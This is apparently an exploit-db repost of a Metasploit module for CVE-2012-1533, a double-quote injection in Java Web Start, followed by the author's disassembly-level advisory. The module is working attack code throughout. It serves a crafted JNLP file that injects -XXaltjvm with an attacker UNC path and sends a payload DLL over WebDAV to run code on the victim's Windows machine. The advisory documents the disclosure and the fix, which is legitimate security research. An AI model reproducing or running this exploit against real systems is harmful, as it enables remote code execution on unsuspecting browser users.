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## # # ======================================================== # Java Web Start Double Quote Inject Remote Code Execution # ======================================================== # # Date: Jun 12 2012 (updated: Jun 6 2013) # Author: Rh0 # Version: At least Java 1.6.31 to 1.6.35 and 1.7.03 to 1.7.07 # Tested on: Windows XP SP3 EN and Windows 7 # CVE: 2012-1533 # # advisory: http://pastebin.com/eUucVage # ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking # # This module acts as an HTTP server # include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Sun Java Web Start Double Quote Injection', 'Description'=> %q{ This module exploits a flaw in the Web Start component of the Sun Java Runtime Environment. Parameters intial-heap-size and max-heap-size in a JNLP file can contain a double quote which is not properly sanitized when creating the command line for javaw.exe. This allows the injection of the -XXaltjvm option to load a jvm.dll from a remote UNC path into the java process. Thus an attacker can execute arbitrary code in the context of a browser user. This flaw was fixed in Oct. 2012 and affects JRE <= 1.6.35 and <= 1.7.07. In order for this module to work, it must be ran as root on a server that does not serve SMB. Additionally, the target host must have the WebClient service (WebDAV Mini-Redirector) enabled. Alternatively an UNC path containing a jvm.dll can be specified with an own SMB server. }, 'Author' => [ # NOTE: module is completely based on and almost the same like jducks module for CVE-2012-0500 (Rev: 4369f73c) 'Rh0 <rh0 () z1p dot biz>', # discovery and msf module ], 'Version'=> '0.0', 'References' => [ [ 'URL', 'http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/browser/java_ws_vmargs.rb' ], [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ], ], 'Platform' => 'win', 'Payload'=> { 'Space'=> 1024, 'BadChars' => '', 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" }, 'Targets'=> [ [ 'Automatic', { } ], [ 'Java Runtime 1.6.31 to 1.6.35 and 1.7.03 to 1.7.07 on Windows x86', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ], ], 'DefaultTarget'=> 0, )) register_options( [ OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]), OptString.new('URIPATH', [ true, "The URI to use.", "/" ]), OptString.new('UNCPATH', [ false, 'Override the UNC path to use. (Use with a SMB server)' ]) ], self.class) end def auto_target(cli, request) agent = request.headers['User-Agent'] ret = nil #print_status("Agent: #{agent}") # Check for MSIE and/or WebDAV redirector requests if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/ ret = targets[1] elsif agent =~ /MSIE (6|7|8)\.0/ ret = targets[1] else print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}") end ret end def on_request_uri(cli, request) # For this exploit, this does little besides ensures the user agent is a recognized one.. mytarget = target if target.name == 'Automatic' mytarget = auto_target(cli, request) if (not mytarget) send_not_found(cli) return end end # Special case to process OPTIONS for / if (request.method == 'OPTIONS' and request.uri == '/') process_options(cli, request, mytarget) return end # Discard requests for ico files if (request.uri =~ /\.ico$/i) send_not_found(cli) return end # If there is no subdirectory in the request, we need to redirect. if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//) if (request.uri == '/') subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/' else subdir = request.uri + '/' end print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...") send_redirect(cli, subdir) return else share_name = $1 end # dispatch WebDAV requests based on method first case request.method when 'OPTIONS' process_options(cli, request, mytarget) when 'PROPFIND' process_propfind(cli, request, mytarget) when 'GET' process_get(cli, request, mytarget, share_name) when 'PUT' print_status("Sending 404 for PUT #{request.uri} ...") send_not_found(cli) else print_error("Unexpected request method encountered: #{request.method}") end end # # GET requests # def process_get(cli, request, target, share_name) print_status("Responding to \"GET #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}") # dispatch based on extension if (request.uri =~ /\.dll$/i) # # DLL requests sent by IE and the WebDav Mini-Redirector # print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...") # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Generate a DLL based on the payload dll_data = generate_payload_dll({ :code => p.encoded }) # Send it :) send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' }) elsif (request.uri =~ /\.jnlp$/i) # # Send the jnlp document # # Prepare the UNC path... if (datastore['UNCPATH']) unc = datastore['UNCPATH'].dup else my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] unc = "\\\\" + my_host + "\\" + share_name end # NOTE: we ensure there's only a single backslash here since it will get escaped if unc[0,2] == "\\\\" unc.slice!(0, 1) end http_agent = Rex::Text.rand_text_alpha(8+rand(8)) # use initial-heap-size='"' to inject a double quote and max-heap-size=" -XXaltjvm=\\IP\share " to # inject a parameter into the command line of javaw.exe # codebase, href and application-desc parameters successfully suppress java splash jnlp_data = <<-EOS <?xml version="1.0" encoding="UTF-8"?> <jnlp version="1" codebase="#{Rex::Text.rand_text_alpha(rand(10)+10)}" href="https://www.exploit-db.com/exploits/26123/#{Rex::Text.rand_text_alpha(rand(10)+10)}.jnlp"> <information> <title>#{Rex::Text.rand_text_alpha(rand(10)+10)}</title> <vendor>#{Rex::Text.rand_text_alpha(rand(10)+10)}</vendor> <description>#{Rex::Text.rand_text_alpha(rand(10)+10)}</description> </information> <resources> <java version="1.6+" initial-heap-size='"' max-heap-size=" -XXaltjvm=#{unc} " /> </resources> <application-desc progress-class="#{Rex::Text.rand_text_alpha(rand(10)+10)}" /> </jnlp> EOS print_status("Sending JNLP to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, jnlp_data, { 'Content-Type' => 'application/x-java-jnlp-file' }) else print_status("Sending redirect to the JNLP file to #{cli.peerhost}:#{cli.peerport}") jnlp_name = Rex::Text.rand_text_alpha(8 + rand(8)) jnlp_path = get_resource() if jnlp_path[-1,1] != '/' jnlp_path << '/' end jnlp_path << request.uri.split('/')[-1] << '/' jnlp_path << jnlp_name << ".jnlp" send_redirect(cli, jnlp_path, '') end end # # OPTIONS requests sent by the WebDav Mini-Redirector # def process_options(cli, request, target) print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}") headers = { #'DASL' => '<DAV:sql>', #'DAV'=> '1, 2', 'Allow'=> 'OPTIONS, GET, PROPFIND', 'Public' => 'OPTIONS, GET, PROPFIND' } send_response(cli, '', headers) end # # PROPFIND requests sent by the WebDav Mini-Redirector # def process_propfind(cli, request, target) path = request.uri print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}") body = '' if (path =~ /\.dll$/i) # Response for the DLL print_status("Sending DLL multistatus for #{path} ...") #<lp1:getcontentlength>45056</lp1:getcontentlength> body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype/> <lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate> <lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified> <lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag> <lp2:executable>F</lp2:executable> <D:lockdiscovery/> <D:getcontenttype>application/octet-stream</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus> | elsif (path =~ /\/$/) or (not path.sub('/', '').index('/')) # Response for anything else (generally just /) print_status("Sending directory multistatus for #{path} ...") body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate> <lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified> <lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus> | else print_status("Sending 404 for #{path} ...") send_not_found(cli) return end # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml' cli.send_response(resp) end # # Make sure we're on the right port/path to support WebDAV # def exploit if !datastore['UNCPATH'] && (datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/') raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/' end super end end =begin ========================================================= Java Web Start: The next Quote Inject Bug (CVE 2012-1533) ========================================================= Hello all, This bug is different from CVE-2012-0500 which was disclosed on Feb. 15 2012, but allows remote code execution in the same way. ====================== Vulnerability Overview ====================== There exists an input validation vulnerability in at least Java Web Start 1.6.35 and 1.7.07 when parsing JNLP files. A flaw exists in the routine which performs checks on the parameter values from a JNLP file. It allows the injection of non escaped double quotes (") into parameters of the command line of javaw.exe. Parameters "intial-heap-size" and "max-heap-size" in a JNLP file can contain a double quote which is not properly sanitized when creating the command line for javaw.exe. This makes it possible to get a command line parameter with a value consisting only of one double quote injected. Further this allows manipulating the command line and the injection of e.g. the "-XXaltjvm" option leading to RCE. ====================== Vulnerability Details ====================== Notes: ------ [*] A JNLP parameter will be refered toby name=value (e.g.: initial-heap-size='64m"' ) [*] Analysis is done on WinXP 32Bit SP3 EN with Oracle JRE 1.6.31 [*] javaws.exe has the base address of 0x00400000 in memory [*] Arrows (-->) indicate code continuation on next address block ------ Vulnerable program flow: ------------------------ [*] If a JNLP file is opened by javaws.exe, it is read into memory and saved temporary in %TEMP%. [*] JNLP parameters are parsed: [a] Check if a JNLP value begins with a single or a double quote: (EAX points to a value of JNLP parameter enclosed with single quotes e.g.: '64m"' ; note the double quote inside) 00404D60MOV CL,BYTE PTR DS:[EAX]; CL: 1st char of '64m"' (single quote = 0x27) 00404D62CMP CL,22 ; check for double quote 00404D65MOV DWORD PTR DS:[4227C4],EAX 00404D6AJE SHORT javaws.00404D9F; jmp is not taken 00404D6CCMP CL,27 ; check for single quote 00404D6FJE SHORT javaws.00404D9F; jmp is taken --> ... [b] strip quotes which enclose the JNLP value and store it: 00404D9FINC EAX ; points to 2nd char of JNLP value (1st char after single quote) 00404DA0MOV DL,CL ; DL: 0x27 (single quote) 00404DA2MOV CL,BYTE PTR DS:[EAX]; CL: 2nd char of JNLP value (0x36) 00404DA4MOV DWORD PTR DS:[4227C4],EAX 00404DA9MOV ESI,EAX 00404DABJMP SHORT javaws.00404DB4 ; start loop 00404DAD/CMP CL,DL; compare char of JNLP value to single quote 00404DAF|JE SHORT javaws.00404DB8 ; loop until another single quote in JNLP value is encountered 00404DB1|INC ESI; increase pointer to chars in JNLP value 00404DB2|MOV CL,BYTE PTR DS:[ESI] ; put next char of value into CL 00404DB4 TEST CL,CL 00404DB6\JNZ SHORT javaws.00404DAD 00404DB8PUSH EAX 00404DB9PUSH 6 00404DBBMOV EAX,ESI 00404DBDCALL javaws.00404BF8; store stripped JNLP value ( in the example case: 64m" ) ... [*] The stripped JNLP values are used to construct the command line parameter for javaw.exe (e.g.: for JNLP parameter with name initial-heap-size) : 00401895PUSH javaws.00418330; ASCII: -Xms%s 0040189APUSH EBX 0040189BPUSH EAX 0040189CCALL javaws.00406D26; construct command line parameter with -Xms%s and 64m" 004018A1LEA EAX,DWORD PTR SS:[EBP-400]; EAX points to command line parameter -Xms64m" (with still one double quote) ... [*] All constructed command line parameters for javaw.exe are sane checked: 00402B02CALL javaws.00406911; run check routine --> ... 00406911PUSH EBP 00406912MOV EBP,ESP 00406914PUSH EBX 00406915PUSH ESI 00406916PUSH EDI 00406917MOV EDI,DWORD PTR SS:[EBP+10] ; ESI: pointer to pointers to command line parameters 0040691AXOR EBX,EBX 0040691CCMP DWORD PTR DS:[EDI],EBX 0040691EMOV ESI,EDI 00406920JE SHORT javaws.00406933 00406922/PUSH DWORD PTR DS:[ESI]; push pointer to command line parameter 00406924|CALL javaws.00406170 ; run check on command line parameter --> 00406929|MOV DWORD PTR DS:[ESI],EAX 0040692B|ADD ESI,4; ESI: pointer to next command line parameter 0040692E|CMP DWORD PTR DS:[ESI],EBX 00406930|POP ECX 00406931\JNZ SHORT javaws.00406922; loop until end of pointer list ... 00406170PUSH EBX 00406171MOV EBX,DWORD PTR SS:[ESP+8]; EBX: pointer to command line parameter ( e.g.: -Xms64m" ) 00406175TEST EBX,EBX 00406177JNZ SHORT javaws.0040617D ; --> ... 0040617DMOV EAX,EBX 0040617FLEA EDX,DWORD PTR DS:[EAX+1]; EDX: pointer to command line parameter without hyphen ( Xms64m" ) 00406182/MOV CL,BYTE PTR DS:[EAX] 00406184|INC EAX 00406185|TEST CL,CL 00406187\JNZ SHORT javaws.00406182 00406189PUSH ESI; pointer to pointer of -Xms64m" 0040618ASUB EAX,EDX ; EAX: length of Xms64m"\x00 0040618CPUSH javaws.004199B8; ASCII \x20\x09 (space and tab) 00406191PUSH EBX; pointer to -Xms64m" 00406192MOV ESI,EAX 00406194CALL javaws.00409590; check for space and tab in -Xms64m" ; return 0x0 in EAX if it's not found 00406199TEST EAX,EAX; EAX: 0x0 for -Xms64m" 0040619BPOP ECX 0040619CPOP ECX 0040619DJNZ SHORT javaws.004061A8 ; jmp to routine which checks and escapes " and \ is not taken !! The checks are not performed !! 0040619FPUSH EBX 004061A0CALL javaws.004127F4; copy of -Xms64m" (~ strdup) 004061A5POP ECX 004061A6JMP SHORT javaws.00406215 ; jmp over the check routines !! ---------------------> 00406215 004061A8CMP ESI,1 004061ABJLE SHORT javaws.004061B9 004061ADCMP BYTE PTR DS:[EBX],22 004061B0JNZ SHORT javaws.004061B9 004061B2CMP BYTE PTR DS:[ESI+EBX-1],22 004061B7JE SHORT javaws.0040619F 004061B9XOR EAX,EAX 004061BBTEST ESI,ESI 004061BDLEA EDX,DWORD PTR DS:[ESI+3] 004061C0JLE SHORT javaws.004061D5 004061C2/MOV CL,BYTE PTR DS:[EAX+EBX] 004061C5|CMP CL,22 004061C8|JE SHORT javaws.004061CF 004061CA|CMP CL,5C 004061CD|JNZ SHORT javaws.004061D0 004061CF|INC EDX 004061D0|INC EAX 004061D1|CMP EAX,ESI 004061D3\JL SHORT javaws.004061C2 004061D5PUSH EDX 004061D6CALL javaws.004089CD 004061DBTEST EAX,EAX 004061DDPOP ECX 004061DEJE SHORT javaws.00406215 004061E0XOR ECX,ECX 004061E2PUSH EDI 004061E3INC ECX 004061E4XOR EDI,EDI 004061E6TEST ESI,ESI 004061E8MOV BYTE PTR DS:[EAX],22; *** prepend command line parameter with double quote 004061EBJLE SHORT javaws.0040620B 004061ED/MOV DL,BYTE PTR DS:[EDI+EBX] 004061F0|CMP DL,22; *** check for " 004061F3|JE SHORT javaws.004061FA 004061F5|CMP DL,5C; *** check for \ 004061F8|JNZ SHORT javaws.004061FF 004061FA|MOV BYTE PTR DS:[EAX+ECX],5C ; *** escape " or \ with \ (" becomes \" and \ becomes \\ ) 004061FE|INC ECX 004061FF|MOV DL,BYTE PTR DS:[EDI+EBX] 00406202|MOV BYTE PTR DS:[EAX+ECX],DL 00406205|INC ECX 00406206|INC EDI 00406207|CMP EDI,ESI 00406209\JL SHORT javaws.004061ED 0040620BADD ECX,EAX 0040620DMOV BYTE PTR DS:[ECX],22; *** append command line parameter with double quote to enclose it 00406210MOV BYTE PTR DS:[ECX+1],0 00406214POP EDI 00406215POP ESI ; -----------------> we land here 00406216POP EBX 00406217RETN ... [*] At this point we have circumvented the checks and our JNLP parameter initial-heap-size='64m"' becomes the command line parameter Xms64m". Basically this happens due to the possibility to enclose double quotes inside single quoted JNLP values (see [a] and [b]) and unsufficient checking for double quotes inside the constructed command line parameter (see 0040619D ). [*] We can now inject command line parameters via the JNLP parameter max-heap-size=" -ParamA=InjectA -ParamB=InjectB " which will become the command line parameter "-Xmx -ParamA=InjectA -ParamB=InjectB " [*] The command line for javaw.exe then contains the two parameters after each other, so we get: javaw.exe [...] -Xms64m" "-Xmx -ParamA=InjectA -ParamB=InjectB " [...] "-another parameter X" "-another parameter Y " [...] [*] Although the javaw.exe command line is corrupted due to unclosed and wrongly escaped double quotes an injection works with -XXaltjvm=\IP\evilshare. Javaw.exe will search for a jvm.dll on a remote unc location \\IP\evilshare (which can be on a webserver) and execute it. === Fix === [*] This vulnerability was fixed by Oracle in Oct. 2012 http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html The fix inserted an additional check to "initial-heap-size" and "max-heap-size" parameters. Comparison between javaws.exe 10.7.2.10 (Java 1.7.07) and javaws.exe 10.9.2.05 (Java 1.7.09) yields the following: [a] All functions are identical except sub_404BB9 and a new function sub_406E0E was added: http://s18.postimg.org/gy04n3jw9/diff_1_7_7_1_7_9.png [b] The only difference in sub_404BB9 between the two versions is the use of sub_406E0E to validate the parameter values gained by sub_405BD5: http://s7.postimg.org/hjgnecod7/sub_404bb9_diffed.png [*] An old deprecated self made fix is available which fixed this issue in a different way, back in the days when it was a 0day: http://pastebin.com/9RztwVez Cheers, Rh0 =end |
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